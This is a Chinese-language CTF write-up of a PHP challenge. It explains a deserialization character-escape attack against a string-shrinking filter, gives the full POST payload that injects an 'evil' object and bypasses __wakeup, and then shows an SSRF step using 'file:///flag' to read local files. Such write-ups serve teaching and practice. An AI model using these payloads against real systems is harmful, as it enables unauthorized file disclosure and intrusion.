一道反序列化的题目,上题目代码
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
审计代码,题目中给了hint.php,所以我们的目标就是读取到hint.php的内容。本题的入口就是post传参。我们可以构造evil类的序列化字符串来读取hint.php。但是post传的是User类的两个参数,并且会序列化User这个类。这么做有什么影响呢?
$a = serialize(new User($username, $password));
evil类序列化的字符串就会被当作字符串了,就不会把它反序列化为对象。自然不会读取到hint.php的内容。本地测试一下。
<?php
class User{
public $username = '123';
public $password = 'O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}';
}
$a = new User();
echo serialize($a);
?>
//生成的序列化字符串:
//O:4:"User":2:{s:8:"username";s:3:"123";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}
所以我们可以利用字符逃逸来将我们需要的地方逃逸出来,来被当作命令执行。字符逃逸具备的条件就是字符替换。(str_replace()函数)
如果我们传入一个\0\0\0,经过这两个函数作用后,\0\0\0就会被替换成*,字符减少。那么我们可以对username传入若干组\0\0\0来将O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}逃逸出去。当然,逃逸的关键就是闭合和字符个数,详情看我这篇文章php反序列化字符逃逸_XiLitter的博客-CSDN博客_php反序列化逃逸
一组\0\0\0可以多吃掉三个字符,我们需要吞掉";s:8:"password";s:41:"
这23个字符,我们用八组\0\0\0就可以吞掉24个字符,password再随便补一位就行了。
这里wakeup函数还做了一个限制,所以我们要绕过wakeup函数,属性值加一就行。
构造payload:
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
打进去出现一串base64,解码得到提示。
好家伙,懵了,访问一下index.cgi。 不知所措,看了wp后是考察了ssrf。
通过url那一块是知道了name传参。我们get传参一个name=1。
应该是可以file读取出flag的。构造payload:
?name= file:///flag (file前要加空格)
得出flag。
为什么要加空格?根据我的理解这里是用curl命令读文件的。
curl file:///flag。(很合理吧) 还有就是file:///flag和file:///flag.php有什么区别,它两个都可以读文件,但是第一个没有后缀名,文件里的内容不会被解析,而第二个有php后缀,里面的php语法可以被当作php代码来解析。